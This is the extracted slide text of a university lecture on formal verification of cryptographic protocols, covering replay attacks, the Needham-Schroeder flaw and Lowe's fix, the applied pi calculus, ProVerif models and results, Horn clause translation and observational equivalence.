Formal Methods for Security and Privacy

Matteo Maffei
Security and privacy at risk!
Call for rigorous analysis and design techniques

Cloud Security

Protocol Security

Web and System Security

Mobile Security
In this class...

- Mobile Security
- Protocol Security
- Cloud Security
- Web and System Security
Part I

Security Analysis of Cryptographic Protocols
Cryptographic protocols building block of...

- e-banking
- e-commerce
- e-mail
- e-voting
- e-passports
- online auctions
- file sharing
- social networks
Cryptographic protocols
building block of...

e-banking
e-commerce
e-mail
e-voting
e-passports
online auctions
file sharing
social networks

Tons of attacks
(never ending list!)

Needham-Schroeder (1996)
Microsoft Passport (2001)
Kerberos (2004)
Public-key Kerberos (2006)
DAA (2007, 2008)
French Electronic Passport (2010)
802.Ili WEP (2001)
ISAKMP (2005)
OpenSSL (2014)

Flaws hard to spot, proofs hard to get right
Conceptual flaws in protocol design

Cryptographic breaches

Implementation mistakes

Needham-Schroeder (1996)
Microsoft Passport (2001)
Kerberos (2004)
Public-key Kerberos (2006)
DAA (2007, 2008)
French Electronic Passport (2010)
TLS 1.3 proposal (2015-2017)

802.11i WEP (2001)
SSL (2001, 2009)
ISAKMP (2005)
OpenSSL - Heartbleed (2014)
Conceptual flaws in protocol design

Cryptographic breaches

Implementation mistakes

Needham-Schroeder (1996)
Microsoft Passport (2001)
Kerberos (2004)
Public-key Kerberos (2006)
DAA (2007, 2008)
French Electronic Passport (2010)
TLS 1.3 proposal (2015-2017)

802.11i WEP (2001)
SSL (2001, 2009)
ISAKMP (2005)
OpenSSL - Heartbleed (2014)
An untrusted world

• Trusted principals exchange messages on a network populated by malicious entities

• Everybody can read and write the messages in transit on the network
Some security goals

- **Secrecy.** Only the authorized recipient should be able to learn the message
Some security goals

- **Secrecy.** Only the authorized recipient should be able to learn the message

- **Integrity.** The recipient should be able to determine whether the message has been altered during transmission or not
Some security goals

- **Secrecy.** Only the authorized recipient should be able to learn the message.

- **Integrity.** The recipient should be able to determine whether the message has been altered during transmission or not.

- **Authenticity.** There exist two variants:
  
  - **non-injective agreement:** the recipient of an authentication request should be able to verify the identity of the requester and both should agree on their respective roles (e.g., *if a payment is processed, then a matching payment request should have been performed before*).
  
  - **injective agreement:** same as above, plus the recipient should be able to verify the freshness of the authentication request (*money should be transferred only once!*).
Some security goals

- **Secrecy.** Only the authorized recipient should be able to learn the message.

- **Integrity.** The recipient should be able to determine whether the message has been altered during transmission or not.

- **Authenticity.** There exist two variants:
  - **non-injective agreement:** the recipient of an authentication request should be able to verify the identity of the requester and both should agree on their respective roles (e.g., *if a payment is processed, then a matching payment request should have been performed before*).
  - **injective agreement:** same as above, plus the recipient should be able to verify the freshness of the authentication request (*money should be transferred only once!*).

- Today we focus on these properties but there are many others (and much more complicated!) …
Anonymity
Unlinkability
Accountability
Trust
Receipt-freeness
Coercion-resistance
Fairness
Non-repudiation
Strong secrecy
Secrecy against offline attacks
A simple example

- “Give Eve 1000$” →

- “Give Eve 1000$” → "Give Eve 2000$” →

- Eve intercepts the first message and modifies it in order to get 2000$
Cryptography

- $k$ is a symmetric key shared between Alice and Bob: only Alice and Bob can encrypt and decrypt messages with $k$

- Symmetric cryptography protects the secrecy and the integrity of the message

- The enemy cannot read or modify the transfer request
• Unfortunately, cryptography is not enough!

• The attacker can circumvent cryptography and break the security goals of the protocol by simply intercepting, duplicating, sending back the messages in transit on the network, without need to break the encryption scheme

• In the following, we assume that cryptography is a fully reliable black box and focus on how cryptography is used
Replay attack

\[\rightarrow \{ \text{Alice, "Give Eve 1000\$"} \}_k \rightarrow \]

\[\rightarrow \{ \text{Alice, "Give Eve 1000\$"} \}_k \rightarrow \]

- The same message is duplicated and sent several times to the intended recipient
Replay attack

\[ \{ \text{Alice, “Give Eve 1000$”, } t \} \]

- A possible solution is to insert a \textit{timestamp} \( t \) for guaranteeing the freshness of the message
- The authentication request is accepted only if it has been recently generated and no authentication request with the same timestamp has previously been accepted
- This involves a global clock (synchronization issues)
Replay attack

- Another solution is to exploit a challenge-response nonce handshake

- A nonce is a randomly generated number \( n \), used in a single protocol session and then discarded

- An authentication request is accepted only if no authentication request with the same nonce has previously been accepted
Needham-Schroeder Protocol

- $\text{pk}(k_A)$ and $\text{pk}(k_B)$ are Alice and Bob’s public keys, respectively.
- This protocol was proposed in '78.
- The aim is to guarantee the secrecy and the authenticity of the two nonces, which are then used for generating a symmetric session-key shared between Alice and Bob.
- All messages are encrypted with the receiver’s public key.
- Should be ok, right?
Unfortunately, this protocol is not secure:

- attack discovered by Gavin Lowe in '96

- A believes that B is authenticating with her, while B is authenticating with E

- In the end, E learns the two nonces and can build the session key that A uses to talk with B
Needham-Schroeder-Lowe Protocol

- \( \leftarrow \{B, n_B\}_{{pk}(k_A)} \)
- \( \rightarrow \{A, n_B, n_A\}_{{pk}(k_B)} \)
- \( \leftarrow \{n_A\}_{{pk}(k_A)} \)

- The fix proposed by Lowe consists in adding Alice’s identifier in the second ciphertext
Needham-Schroeder-Lowe Protocol

• The fix proposed by Lowe consists in adding Alice’s identifier in the second ciphertext

\[
\begin{align*}
\leftarrow \{B, n_B\}_{pk(kA)} \\
\rightarrow \{A, n_B, n_A\}_{pk(kB)} \\
\leftarrow \{n_A\}_{pk(kA)} \\
\leftarrow \{B, n_B\}_{pk(kE)} \\
\leftarrow \{B, n_B\}_{pk(kA)} \\
\rightarrow \{A, n_B, n_A\}_{pk(kB)} \quad \times
\end{align*}
\]
Needham-Schroeder-Lowe Protocol

- The fix proposed by Lowe consists in adding Alice’s identifier in the second ciphertext

- B rejects the second ciphertext, as it does not come from E
Cryptographic Protocol Analysis

- Protocol flaws stimulated a lot of research on cryptographic protocol verification

- Manual analysis is long, tedious, and extremely error prone…

  - …calls for formal methods!

- Nowadays, the most successful approach to protocol verification relies on

  - process calculi for the specification of cryptographic protocols

  - a variety of automated verification techniques based on type systems, model checking, theorem proving, …

- Today, we are going to look at ProVerif, a state-of-the-art protocol analysis technique based on Horn clause resolution
Process Calculi

• The λ-calculus focuses on the essence of programming (i.e., functions), abstracting away from unnecessary details

• **Idea:** why shouldn't we do the same for concurrent and distributed systems?

• Process calculi are core programming languages that
  • Abstract away from implementation details (e.g., sockets, network topology, physical links)
  • Focus on the essence of concurrent and distributed systems: communication!

• Applications: distributed systems, cryptographic protocols, mobile devices, biological systems (protein reactions)


**Applied Pi Calculus**

\[ B, n, m \]

\[ \text{System} \triangleq \]
\[ \text{new } k_A.(\text{Init } | \text{ Resp}) \]
\[ \text{Resp } \triangleq \]
\[ \text{in}(c, x). \]
\[ \text{new } m. \]
\[ \text{out}(c, \text{sign}((B, x, m), \text{sk}(k_A))) \]

\[ \text{Init } \triangleq \]
\[ \text{new } n. \]
\[ \text{out}(c, n). \]
\[ \text{in}(c, x). \]
\[ \text{let } (= B, = n, z) = \text{ver}(x, \text{vk}(k_A)) \text{ in } P \]

- At run time, we have...

\[ \text{System} \rightarrow \ldots \rightarrow \text{new } k_A.\text{new } n.\text{new } m. \]
\[ \text{let } (=B, =n, z) = \text{ver}(\text{sign}((B, n, m), \text{sk}(k_A)), \text{vk}(k_A)) \text{ in } P \]
\[ \rightarrow \text{new } k_A.\text{new } n.\text{new } m. P\{m/z\} \]
Symbolic cryptography

- **Idea**: consider cryptography as a fully reliable building block
  - Abstract away from algebraic properties
  - Model the ideal semantics of cryptographic primitives
    - Example: $\text{dec}(\text{enc}(M,K), K) \rightarrow M$
- The good: enables *automated verification* of security properties
- The bad: security in the symbolic world might not carry over to the computational world, because of attacks exploiting the algebraic properties of cryptographic primitives
- Good news: many abstractions are proven *computationally sound*
  - symbolic security implies computational security
- This gives us the best of the two worlds: verify protocols using symbolic cryptography and get computational security guarantees
Terms

\[ M, N ::= \text{terms} \]
\[ x, y, z \quad \text{variable} \]
\[ a, b, c, n, m, k, s \quad \text{name} \]
\[ f(M_1, \ldots, M_l) \quad \text{constructor application} \]

- The calculus is parameterized by a signature \( \Sigma \), which consists of a finite set of constructors (e.g., \( \text{enc} \) and \( \text{sign} \)) and a finite set of destructors (e.g., \( \text{dec} \) and \( \text{ver} \)).
- Constructors are used to create cryptographic objects.
- Destructors are used to manipulate cryptographic objects (and are part of the syntax of processes).
Destructors

• Typical destructor rules:

\[
\text{fst}( \text{pair}(x,y) ) \rightarrow x
\]

\[
\text{snd}( \text{pair}(x,y) ) \rightarrow y
\]

\[
\text{dec}( \text{enc}(x,y), y ) \rightarrow x
\]

\[
\text{deca}( \text{enca}(x, \text{ek}(y)), \text{dk}(y) ) \rightarrow x
\]

\[
\text{ver}( \text{sign}(x, \text{sk}(y)), \text{vk}(y) ) \rightarrow x
\]

• Works as expected, via most general unifier with variables instantiated by ground terms
Processes

\[ P, Q, R ::= \]
\[ \text{processes} \]
\[ \text{in}(M, x).P \]
\[ \text{input (}x\text{ bound in }P) \]
\[ \text{out}(M, N).P \]
\[ \text{output} \]
\[ 0 \]
\[ \text{null} \]
\[ P | Q \]
\[ \text{parallel composition} \]
\[ !P \]
\[ \text{replication} \]
\[ \text{new } a.P \]
\[ \text{restriction (}a\text{ bound in }P) \]
\[ \text{let } x = g(M_1, \ldots, M_n) \text{ in } P \text{ else } Q \]
\[ \text{destructor application (}x\text{ bound in }P) \]

- \text{in}(M,x).P \text{ gets a message } N \text{ from channel } M \text{ and behaves as } P\{N/x\}

- \text{out}(M,N).P \text{ outputs } N \text{ on channel } M \text{ and behaves as } P

- 0 \text{ is the null process that does nothing}

- \( P | Q \) \text{ executes } P \text{ and } Q \text{ in parallel}

- \( !P \) \text{ behaves as an unbounded number of copies of } P \text{ in parallel (to reason about unbounded protocol sessions)}

- \text{new } a.P \text{ creates a fresh and secret name } a \text{ (e.g., a key) and then behaves as } P
Secrecy

- **Definition (Secrecy)** The closed process $P$ preserves the secrecy of $M$ if and only if $P \mid O$ does not output $M$ on $c$ for any opponent (i.e., process) $O$ and any $c \in \text{fn}(O)$. 
Secrecy

• **Definition (Secrecy)** The closed process $P$ preserves the secrecy of $M$ if and only if $P | O$ does not output $M$ on $c$ for any opponent (i.e., process) $O$ and any $c \in \text{fn}(O)$.

• **Intuition**: if the opponent learns $M$, then the opponent can also output $M$ on a public channel
Secrecy (cnt’d)

• Exercise:
  • Does new \( n \).new k.out(c,enc(n,k)).out(c,k) preserve the secrecy of \( n \)?
Secrecy (cnt’d)

• Exercise:
  • Does new n.new k.out(c,enc(n,k)).out(c,k) preserve the secrecy of n?
  • And new n.new k.out(c,enc(n,k))?
Secrecy (cnt’d)

• Exercise:
  • Does new n.new k.out(c,enc(n,k)).out(c,k) preserve the secrecy of n?
  • And new n.new k.out(c,enc(n,k))?

• Bad news: In order to prove that we have to reason about an infinite number of opponents
Secrecy (cnt’d)

• Exercise:
  • Does new $n$.new $k$.out($c$,enc($n,k$)).out($c,k$) preserve the secrecy of $n$?
  • And new $n$.new $k$.out($c$,enc($n,k$))?

• Bad news: In order to prove that we have to reason about an infinite number of opponents

• Secrecy is in general undecidable (as well as the other security properties)
Secrecy (cnt’d)

• Exercise:
  
  • Does new $n$.new $k$.out($c$,enc($n,k$)).out($c,k$) preserve the secrecy of $n$?
  
  • And new $n$.new $k$.out($c$,enc($n,k$))?

  • **Bad news:** In order to prove that we have to reason about an infinite number of opponents

  • Secrecy is in general undecidable (as well as the other security properties)

  • **Good news:** there exist tools (e.g., ProVerif) to automate such proofs!
Event-based security properties

• We decorate security-related protocol points with events

• Formally, we introduce the following process

\[
\text{event } p(M)
\]

where \( p \) is an arbitrary predicate (formally, it is a constructor)

• We can then require that in all execution traces certain events are preceded by some other events
Authenticity

• We use $\text{begin}(A,B,M)$ and $\text{end}(A,B,M)$ events

  • the former marks the start of an authentication request from $A$ to $B$ for message $M$

  • the latter marks the point in which such an authentication request is accepted by $B$

• Intuitively, we would like to say that at run-time, in all execution traces, every $\text{end}(A,B,M)$ is preceded by a $\text{begin}(A,B,M)$ (non-injective agreement)
Example

System \triangleq
new k_A. Init | Resp

Resp \triangleq
in(c, x).
new m.
event begin(A, B, m).
out(c, sign((B, x, m), sk(k_A)))

Init \triangleq
new n.
out(c, n).
in(c, x).
let (= B, = n, z) = \text{ver}(x, \text{vk}(k_A)) in
event end(A, B, z).
Non-injective agreement

- **Definition (Non-injective agreement)** A closed process $P$ guarantees non-injective agreement if and only if for every opponent $O$

$$P | O \rightarrow^* \text{new } \tilde{a}.(\text{event end}(A, B, M) | Q)$$

implies $Q \equiv \text{event begin}(A, B, M) | Q'$

- We let

  - $\rightarrow^*$ denote n-step reductions (where n=0 is read as structural equivalence)

  - new $\tilde{a}$ denote a sequence of restrictions

- For simplicity, here we assume that events do not have a continuation process (i.e., event $p(M).P$ is written as event $p(M) | P$)
Injective agreement

• We would like to say that at run-time, every \( \text{end}(A, B, M) \) is preceded by a distinct \( \text{begin}(A, B, M) \)

• **Definition (Injective agreement)** A closed process \( P \) guarantees injective agreement if and only if for every opponent \( O \)

\[
P | O \rightarrow^* \text{new } \tilde{a}. (\text{event } \text{end}(A, B, M) | Q)
\]

implies \( Q \equiv \text{event } \text{begin}(A, B, M) | Q' \)

and \( \text{new } \tilde{a}.Q' \) guarantees injective agreement
ProVerif

http://prosecco.gforge.inria.fr/personal/bblanche/proverif/

- State-of-the-art cryptographic protocol verifier based on Horn clause resolution
ProVerif

- Three possible outcomes: ProVerif
  - proves the security of the protocol *(security proofs)*
  - finds an attack *(bug finding)*, which could however be a false positive due to the abstraction
  - can neither prove nor disprove the security of the protocol (or does not terminate)

- ProVerif is, in general, very efficient and expressive
  - in many cases, the analysis takes a few seconds or less
Example

\[
\begin{align*}
A & \quad B \\
\text{begin}(A,B,m) & \quad \{B,m\}_k \quad \text{end}(A,B,m) \\
\end{align*}
\]

let initiator =
\[
\text{in}(d,(idi,idr)); \\
\text{in}(c,y); \\
\text{let (=idi,x)=dec}(y,k) \text{ in} \\
\text{event end}(idi,idr,x).
\]

\text{process} \\
\text{new k;} \\
\text{new d;} \\
\text{!out}(d,(A,B)) \mid \text{!out}(d,(B,A)) \mid \\
\text{!responder} \mid \text{!initiator}
\]

let responder =
\[
\text{in}(d,( idi, idr )); \\
\text{new} \ m; \\
\text{event} \ \text{begin}(idi,idr,m); \\
\text{out}(c,\text{enc}((idi,m),k)).
\]

\text{free c. (*channel *)} \\
\text{free A,B. (* identifiers *)} \\
\text{fun} \text{enc}/2. \\
\text{reduc} \text{dec}(\text{enc}(x,y),y)=x.

\text{query attacker:m.} \\
\text{query ev:end}(x,y,z) \implies \text{ev:begin}(x,y,z). \\
\text{query evinj:end}(x,y,z) \implies \text{evinj:begin}(x,y,z).
Results

Starting query not attacker:m[]
RESULT not attacker:m[] is true.

• Good, the message $m$ is kept secret.

RESULT ev:end(x_13,y_14,z_15) ==> ev:begin(x_13,y_14,z_15) is true.

• Good, we have non-injective agreement!
Results

• Does the protocol achieve injective agreement?

Starting query evinj:end(x_15,y_16,z_17) ==> evinj:begin(x_15,y_16,z_17)

....
event(begin(A,B,m_14_10)) at {10} in copy a_4, a_3, a_2
out(c, enc((A,m_14_10),k_6_12)) at {11} in copy a_4, a_3, a_2
in(c, enc((A,m_14_10),k_6_12)) at {6} in copy a_9, a_8, a_7, a_1
event(end(A,B,m_14_10)) at {8} in copy a_9, a_8, a_7, a_1
in(c, enc((A,m_14_10),k_6_12)) at {6} in copy sid_293_18, sid_294_17, sid_295_16, sid_298_15
event(end(A,B,m_14_10)) at {8} in copy sid_293_18, sid_294_17, sid_295_16, sid_298_15

The event end(A,B,m_14_10) is executed in session sid_298_15 and in session a_1.

• Oops! ProVerif cannot prove the security of the protocol and it shows the attack

• The protocol is affected by a replay attack
Revised protocol

\[
\begin{array}{cc}
A & B \\
\text{begin}(A,B,m) & \text{end}(A,B,m) \\
\mbox{let} \text{responder} = \text{let} \text{initiator} = \\
\text{let responder} = \mbox{let initiator} = \\
\text{fun enc/2.} & \text{fun enc/2.} \\
\text{reduc dec(enc(x,y),y)=x.} & \text{reduc dec(enc(x,y),y)=x.} \\
\end{array}
\]

New nonce handshake

\[
\begin{array}{c}
\text{query attacker:m.} \\
\text{query evinj:end(x,y,z) \implies evinj:begin(x,y,z)}
\end{array}
\]
Result

Starting query evinj:end(x_14,y_15,z_16) ==> evinj:begin(x_14,y_15,z_16)
...
RESULT evinj:end(x_14,y_15,z_16) ==> evinj:begin(x_14,y_15,z_16) is true.

• Good! ProVerif confirms that the protocol achieves injective agreement!
From applied pi-calculus to logic formulas

- Nice, but how does it work?
From applied pi-calculus to logic formulas

• Nice, but how does it work?

• The idea is to translate the process and the attacker into a set of logical formulas that are passed to a theorem prover.
From applied pi-calculus to logic formulas

• Nice, but how does it work?

• The idea is to translate the process and the attacker into a set of logical formulas that are passed to a theorem prover

• The translation is sound:
  • If no security violation can be logically derived from the formula set obtained from P, then P is secure
From applied pi-calculus to logic formulas

- Nice, but how does it work?

- The idea is to translate the process and the attacker into a set of logical formulas that are passed to a theorem prover

- The translation is **sound**:
  - If no security violation can be logically derived from the formula set obtained from P, then P is secure

- The translation is **incomplete**:
  - If a security violation can be logically derived from the formula set obtained from P, then P may still be secure (false positives)
From applied pi-calculus to logic formulas

• Nice, but how does it work?

• The idea is to translate the process and the attacker into a set of logical formulas that are passed to a theorem prover

• The translation is sound:
  • If no security violation can be logically derived from the formula set obtained from P, then P is secure

• The translation is incomplete:
  • If a security violation can be logically derived from the formula set obtained from P, then P may still be secure (false positives)

• Approach originally proposed for secrecy and then extended to events and observational equivalence
Horn clauses

- Processes are translated into sets of Horn clauses

- Horn clauses are logic formulas of the following form:

  \((\forall x)(p_1(M_1) \land \ldots \land p_n(M_n) \Rightarrow q(N))\)

- where \(n \geq 0\) and \(p_1, \ldots, p_n, q\) are predicate symbols

- The universal quantification is usually left implicit

- Resolution provers take a set of Horn clauses and a goal \(\exists x.p(M)\) and check if this goal is provable from the clauses

- ProVerif is based on a resolution prover that is tailored to protocol verification
In the following, we sketch the original approach for secrecy. The translation targets a formula language with only two predicates:

\[
F ::= \begin{align*}
\text{attacker}(M) & \quad \text{facts} \\
\text{mess}(L,M) & \quad \text{the attacker knows message } M \\
\end{align*}
\]

message \( M \) is output on channel \( L \)
The structure of the translation

• **Input:**
  - a closed process \( P \)
  - a subset \( S \) of \( P \)'s free names representing public names (all names except for those declared *private*)

• **Output:**
  - a set \( B(P,S) \) of Horn clauses

• **The top-level definition:**
  
  \[ B(P,S) = \text{InitialAttackerKnowledge}(S) \cup \text{AttackerRules} \cup \text{ProtocolRules}(P) \]
Initial attacker knowledge

- The initial attacker knowledge is simple:

\[
\text{InitialAttackerKnowledge}(S) = \{\text{attacker}(n) \mid n \in S\}
\]
Attacker rules

• The attacker rules depend on the choice of constructors and destructors

  • For each constructor f:

    \[
    \text{attacker}(x_1) \land \ldots \land \text{attacker}(x_n) \Rightarrow \text{attacker}(f(x_1,\ldots,x_n))
    \]

  • For each destructor g with \(g(M_1,\ldots,M_n)=M\) in \(\text{def}(g)\)

    \[
    \text{attacker}(M_1) \land \ldots \land \text{attacker}(M_n) \Rightarrow \text{attacker}(M)
    \]

• Input and output:

  mess(x,y) \land \text{attacker}(x) \Rightarrow \text{attacker}(y)

  attacker(x) \land \text{attacker}(y) \Rightarrow \text{mess}(x,y)
Protocol rules: the basic idea

- Each output statement out(c,N) generates a Horn clause of the following form:

  $\text{mess}(c_1,M_1) \land \ldots \land \text{mess}(c_n,M_n) \Rightarrow \text{mess}(c,N)$

- where $M_1, \ldots, M_n$ are the previously received messages

- Examples:

  - $P = \text{inp}(c,x); \text{inp}(c,y); \text{out}(c, (x,y))$
    
    - $\text{ProtocolRules}(P) = \{ \text{mess}(c,x) \land \text{mess}(c,y) \Rightarrow \text{mess}(c,(x,y)) \}$

  - $Q = \text{inp}(c,x); \text{let } y = \text{decrypt}(x,k) \text{ in } \text{out}(c,y)$
    
    - $\text{ProtocolRules}(Q) = \{ \text{mess}(c,\text{enc}(y,k)) \Rightarrow \text{mess}(c,y) \}$
Beyond safety properties

• So far, we have only reasoned about safety properties (whenever something happens, something else must have happened before...)

• These properties, however, do not suffice to formalize many interesting security requirements

• E.g., does this protocol guarantee Alice's anonymity?

• And this protocol?
Indistinguishability

- In cryptography, many security properties are expressed as indistinguishability properties (an external observer cannot see any difference between program executions)
Indistinguishability

• In cryptography, many security properties are expressed as **indistinguishability properties** (an external observer cannot see any difference between program executions)

• Process calculi come with a notion of **observational equivalence** between processes, which defines when two processes look equivalent to the eyes of an external observer
Indistinguishability

• In cryptography, many security properties are expressed as indistinguishability properties (an external observer cannot see any difference between program executions).

• Process calculi come with a notion of observational equivalence between processes, which defines when two processes look equivalent to the eyes of an external observer.

• Observational equivalence is a crucial tool for the formalization of a number of interesting security properties.
  
  • e.g., anonymity, unlinkability, privacy, ...
Indistinguishability

- In cryptography, many security properties are expressed as indistinguishability properties (an external observer cannot see any difference between program executions).

- Process calculi come with a notion of observational equivalence between processes, which defines when two processes look equivalent to the eyes of an external observer.

- Observational equivalence is a crucial tool for the formalization of a number of interesting security properties.
  - e.g., anonymity, unlinkability, privacy, ...

- For instance...
Indistinguishability

• In cryptography, many security properties are expressed as **indistinguishability properties** (an external observer cannot see any difference between program executions)

• Process calculi come with a notion of **observational equivalence** between processes, which defines when two processes look equivalent to the eyes of an external observer

• Observational equivalence is a crucial tool for the formalization of a number of interesting security properties
  • e.g., anonymity, unlinkability, privacy...

• For instance...

Intuitively, they are not observationally equivalent because the attacker can test if the message can be verified with A or B’s verification key
Observational equivalence (very informally)

Two processes $P$ and $Q$ are observationally equivalent iff for all opponents $O$ and channels $c$

$P|O$ and $Q|O$ can simulate each other’s output if we only look at the channel (and ignore the message)

(if one outputs on a channel then the other one outputs on the same channel and this is preserved at run time)

Idea: if the attacker can distinguish, it can output on different channels to win the game
Examples

• Do the following equivalences hold?
Examples

• Do the following equivalences hold?
  
  • $\text{out}(a, M).\text{out}(b, M) \approx \text{out}(a, M) | \text{out}(b, M)$
Examples

• Do the following equivalences hold?

  • \(\text{out}(a,M) \cdot \text{out}(b,M) \neq \text{out}(a,M) \mid \text{out}(b,M)\)
Examples

• Do the following equivalences hold?

  • $\text{out}(a,M).\text{out}(b,M) \not\approx \text{out}(a,M) | \text{out}(b,M)$

  • $\text{out}(a,M).(\text{out}(b,M) | \text{out}(c,M)) \approx (\text{out}(a,M).\text{out}(b,M)) | (\text{out}(a,M).\text{out}(c,M))$
Examples

• Do the following equivalences hold?
  
  • \( \text{out}(a, M).\text{out}(b, M) \not\approx \text{out}(a, M) | \text{out}(b, M) \)
  
  • \( \text{out}(a, M).(\text{out}(b, M) | \text{out}(c, M)) \not\approx (\text{out}(a, M).\text{out}(b, M)) | (\text{out}(a, M).\text{out}(c, M)) \)
Examples

- Do the following equivalences hold?
  - $\text{out}(a, M).\text{out}(b, M) \not\approx \text{out}(a, M) | \text{out}(b, M)$
  - $\text{out}(a, M).(\text{out}(b, M) | \text{out}(c, M)) \not\approx (\text{out}(a, M).\text{out}(b, M)) | (\text{out}(a, M).\text{out}(c, M))$
  - new $n.\text{out}(a, n) \approx \text{out}(a, m)$
Examples

• Do the following equivalences hold?

  • \texttt{out}(a,M).\texttt{out}(b,M) \neq \texttt{out}(a,M) \mid \texttt{out}(b,M)

  • \texttt{out}(a,M).\texttt{(out}(b,M) \mid \texttt{out}(c,M)) \neq (\texttt{out}(a,M).\texttt{out}(b,M)) \mid (\texttt{out}(a,M).\texttt{out}(c,M))

  • \texttt{new } n.\texttt{out}(a,n) \neq \texttt{out}(a,m)
Examples

• Do the following equivalences hold?

  • $\text{out}(a, M).\text{out}(b, M) \not\approx \text{out}(a, M) | \text{out}(b, M)$

  • $\text{out}(a, M). (\text{out}(b, M) | \text{out}(c, M)) \not\approx (\text{out}(a, M).\text{out}(b, M)) | (\text{out}(a, M).\text{out}(c, M))$

  • $\text{new } n.\text{out}(a, n) \not\approx \text{out}(a, m)$

    • provide an evaluation context that breaks the observational equivalence property
Examples

• Do the following equivalences hold?

  • $\text{out}(a,M).\text{out}(b,M) \not\approx \text{out}(a,M) \mid \text{out}(b,M)$

  • $\text{out}(a,M).\left(\text{out}(b,M) \mid \text{out}(c,M)\right) \not\approx \left(\text{out}(a,M).\text{out}(b,M)\right) \mid \left(\text{out}(a,M).\text{out}(c,M)\right)$

  • $\text{new } n.\text{out}(a,n) \not\approx \text{out}(a,m)$
    
    • provide an evaluation context that breaks the observational equivalence property

  • $\text{new } n.\text{out}(a,\text{pair}(n,n)) \approx \text{new } n.\text{out}(a,n)$
Examples

• Do the following equivalences hold?
  
  • $\text{out}(a,M).\text{out}(b,M) \not\approx \text{out}(a,M) \mid \text{out}(b,M)$
  
  • $\text{out}(a,M)(\text{out}(b,M) \mid \text{out}(c,M)) \not\approx (\text{out}(a,M).\text{out}(b,M)) \mid (\text{out}(a,M).\text{out}(c,M))$
  
  • new $\text{n}.\text{out}(a,n) \not\approx \text{out}(a,m)$
    
      • provide an evaluation context that breaks the observational equivalence property
  
  • new $\text{n}.\text{out}(a,\text{pair}(n,n)) \not\approx \text{new n}.\text{out}(a,n)$
Examples

- Do the following equivalences hold?
  - \(\text{out}(a,M).\text{out}(b,M) \not\equiv \text{out}(a,M) \mid \text{out}(b,M)\)
  - \(\text{out}(a,M). (\text{out}(b,M) \mid \text{out}(c,M)) \not\equiv (\text{out}(a,M).\text{out}(b,M)) \mid (\text{out}(a,M).\text{out}(c,M))\)
  - new \(n.\text{out}(a,n) \not\equiv \text{out}(a,m)\)
    - provide an evaluation context that breaks the observational equivalence property
  - new \(n.\text{out}(a,\text{pair}(n,n)) \not\equiv \text{new } n.\text{out}(a,n)\)
    - provide an evaluation context that breaks the observational equivalence property
Examples

• Do the following equivalences hold?
  
  • \(\text{out}(a,M).\text{out}(b,M) \not\approx \text{out}(a,M) | \text{out}(b,M)\)
  
  • \(\text{out}(a,M).(\text{out}(b,M) | \text{out}(c,M)) \not\approx (\text{out}(a,M).\text{out}(b,M)) | (\text{out}(a,M).\text{out}(c,M))\)
  
  • \(\text{new } n.\text{out}(a,n) \not\approx \text{out}(a,m)\)
    
      • provide an evaluation context that breaks the observational equivalence property
    
  • \(\text{new } n.\text{out}(a,\text{pair}(n,n)) \not\approx \text{new } n.\text{out}(a,n)\)
    
      • provide an evaluation context that breaks the observational equivalence property
    
  • \(\text{new } n.\text{out}(a,n) \approx \text{new } n.\text{out}(a,\text{h}(n))\)
Examples

• Do the following equivalences hold?
  • $\text{out}(a,M).\text{out}(b,M) \not\approx \text{out}(a,M) | \text{out}(b,M)$
  • $\text{out}(a,M).(\text{out}(b,M) | \text{out}(c,M)) \not\approx (\text{out}(a,M).\text{out}(b,M)) | (\text{out}(a,M).\text{out}(c,M))$
  • new $n.\text{out}(a,n) \not\approx \text{out}(a,m)$
    • provide an evaluation context that breaks the observational equivalence property
  • new $n.\text{out}(a,\text{pair}(n,n)) \not\approx \text{new } n.\text{out}(a,n)$
    • provide an evaluation context that breaks the observational equivalence property
  • new $n.\text{out}(a,n) \approx \text{new } n.\text{out}(a,h(n))$
  • new $k.\text{out}(c,\text{vk}(k)).\text{new } n.\text{out}(a,\text{sign}(n,\text{sk}(k))) \approx \text{new } k.\text{out}(c,\text{vk}(k)).\text{new } n.\text{out}(a,h(n))$
Examples

• Do the following equivalences hold?
  
  • $\text{out}(a,M).\text{out}(b,M) \not\approx \text{out}(a,M) | \text{out}(b,M)$
  
  • $\text{out}(a,M).(\text{out}(b,M) | \text{out}(c,M)) \not\approx (\text{out}(a,M).\text{out}(b,M)) | (\text{out}(a,M).\text{out}(c,M))$

  • new $n.\text{out}(a,n) \not\approx \text{out}(a,m)$

    • provide an evaluation context that breaks the observational equivalence property

  • new $n.\text{out}(a,\text{pair}(n,n)) \not\approx \text{new } n.\text{out}(a,n)$

    • provide an evaluation context that breaks the observational equivalence property

  • new $n.\text{out}(a,n) \approx \text{new } n.\text{out}(a,h(n))$

  • new $k.\text{out}(c,vk(k)).\text{new } n.\text{out}(a,\text{sign}(n,sk(k))) \not\approx \text{new } k.\text{out}(c,vk(k)).\text{new } n.\text{out}(a,h(n))$
Examples

- Do the following equivalences hold?
  - $\text{out}(a,M).\text{out}(b,M) \not\approx \text{out}(a,M) \mid \text{out}(b,M)$
  - $\text{out}(a,M).\left(\text{out}(b,M) \mid \text{out}(c,M)\right) \not\approx \left(\text{out}(a,M).\text{out}(b,M)\right) \mid \left(\text{out}(a,M).\text{out}(c,M)\right)$
  - new $n.\text{out}(a,n) \not\approx \text{out}(a,m)$
    - provide an evaluation context that breaks the observational equivalence property
  - new $n.\text{out}(a,\text{pair}(n,n)) \not\approx \text{new } n.\text{out}(a,n)$
    - provide an evaluation context that breaks the observational equivalence property
  - new $n.\text{out}(a,n) \approx \text{new } n.\text{out}(a,h(n))$
  - new $k.\text{out}(c,vk(k)).\text{new } n.\text{out}(a,\text{sign}(n,sk(k))) \not\approx \text{new } k.\text{out}(c,vk(k)).\text{new } n.\text{out}(a,h(n))$
    - provide an evaluation context that breaks the observational equivalence property
Observational equivalence in ProVerif

• The tool works on processes sharing the same structure and differing only in terms or destructors

• e.g., new $n$.out($c, n$) $\approx$ new $n$.out($c, h(n)$)
Observational equivalence in ProVerif

• The tool works on processes sharing the same structure and differing only in terms or destructors
  
  • e.g., new \texttt{n.out}(c,n) \approx \texttt{new n.out}(c,h(n))

• The analysis is typically less efficient than in the case of trace properties (and termination may become a problem)
Observational equivalence in ProVerif

- The tool works on processes sharing the same structure and differing only in terms or destructors
  - e.g., new n.out(c, n) ≈ new n.out(c, h(n))

- The analysis is typically less efficient than in the case of trace properties (and termination may become a problem)

- Successfully applied in the verification of complex protocols achieving sophisticated security properties
  - Anonymity protocols, e-voting, and more
e-passport

• Many millions of copies issued by over 40 countries

• Used to securely store sensitive information (e.g., biometric data, blood type, and other identification data)

